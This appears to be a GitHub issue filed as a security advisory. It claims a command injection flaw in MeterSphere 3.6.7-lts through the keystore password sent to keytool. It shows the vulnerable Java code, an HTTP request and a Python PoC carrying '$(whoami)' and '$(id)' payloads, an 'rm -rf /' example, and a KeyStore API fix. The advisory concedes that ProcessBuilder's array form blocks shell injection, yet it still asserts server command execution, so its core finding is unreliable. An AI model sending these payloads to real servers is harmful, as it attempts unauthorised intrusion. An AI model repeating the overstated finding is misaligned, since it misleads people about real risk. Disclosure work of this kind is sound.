-
Notifications
You must be signed in to change notification settings - Fork 0
MeterSphere 3.6.7-lts - Command Injection via KeyStore Password #12
Description
Product
MeterSphere
Vendor
FIT2CLOUD
Vendor Website
GitHub Repository
https://github.com/metersphere/metersphere
Affected Version
3.6.7-lts
Vulnerability Type
Command Injection (CWE-78)
CVSS Score
8.8 (High)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
A command injection vulnerability exists in the CommandService.getEntry() method. The password parameter from user input is passed directly to ProcessBuilder when executing the keytool command. While ProcessBuilder uses array form which provides some protection against shell injection, the password is still processed through JSON.parseObject() and could potentially contain malicious characters that may affect the keytool command execution.
Vulnerable Code
File: backend/services/project-management/src/main/java/io/metersphere/project/service/CommandService.java
Lines: 44-52
public List<KeyStoreEntry> getEntry(String password, MultipartFile file) {
try {
String path = createFile(file);
// 执行验证指令
if (StringUtils.isNotEmpty(password)) {
password = JSON.parseObject(password, String.class);
}
String[] args = {"keytool", "-rfc", "-list", "-keystore", path, "-storepass", password};
Process p = new ProcessBuilder(args).start();
// ...
}
}File: backend/services/project-management/src/main/java/io/metersphere/project/controller/EnvironmentController.java
Lines: 123-127
@PostMapping(value = "/get/entry")
@RequiresPermissions(value = {PermissionConstants.PROJECT_ENVIRONMENT_READ_ADD, PermissionConstants.PROJECT_ENVIRONMENT_READ_UPDATE}, logical = Logical.OR)
public List<KeyStoreEntry> getEntry(@RequestPart("request") String password, @RequestPart(value = "file") MultipartFile sslFiles) {
return commandService.getEntry(password, sslFiles);
}Proof of Concept
Step 1: Login with valid credentials
Step 2: Create or use existing project with environment permissions
Step 3: Send malicious request
POST /project/environment/get/entry HTTP/1.1
Host: target.com
Cookie: session=valid_session
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="request"
"$(whoami)"
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jks"
Content-Type: application/octet-stream
[keystore file content]
------WebKitFormBoundary--Python PoC
#!/usr/bin/env python3
import requests
target = "http://target.com"
session = {"session": "valid_session"}
# Upload SSL file with malicious password
files = {
'file': ('test.jks', open('test.jks', 'rb'), 'application/octet-stream')
}
data = {
'request': '"$(id)"' # Command injection payload
}
r = requests.post(f"{target}/project/environment/get/entry",
files=files, data=data, cookies=session)
print(f"Response: {r.text}")Impact
- Command execution on the server
- Information disclosure
- Potential privilege escalation
- Server compromise
Technical Analysis
While ProcessBuilder with array arguments provides protection against classic shell injection (like ; rm -rf /), there are still potential attack vectors:
-
Argument Injection: The password is passed as a single argument to keytool. Special characters could potentially affect keytool's behavior.
-
JSON Parsing: The password goes through
JSON.parseObject()which may allow bypassing certain validations. -
Error-based Information Disclosure: Error messages from keytool execution could leak sensitive information.
Remediation
- Input Validation: Validate password against a whitelist of allowed characters
- Sanitization: Remove or escape potentially dangerous characters
- Use Java KeyStore API: Instead of executing keytool command, use Java's built-in KeyStore API
// Recommended fix using Java KeyStore API
public List<KeyStoreEntry> getEntry(String password, MultipartFile file) {
try {
KeyStore ks = KeyStore.getInstance("JKS");
char[] pwd = password.toCharArray();
ks.load(file.getInputStream(), pwd);
Enumeration<String> aliases = ks.aliases();
List<KeyStoreEntry> entries = new ArrayList<>();
while (aliases.hasMoreElements()) {
String alias = aliases.nextElement();
KeyStoreEntry entry = new KeyStoreEntry();
entry.setOriginalAsName(alias);
entry.setType(ks.getEntry(alias, new KeyStore.PasswordProtection(pwd)).getClass().getSimpleName());
entries.add(entry);
}
return entries;
} catch (Exception e) {
throw new MSException(Translator.get("ssl_password_error"));
}
}Credit
Security Researcher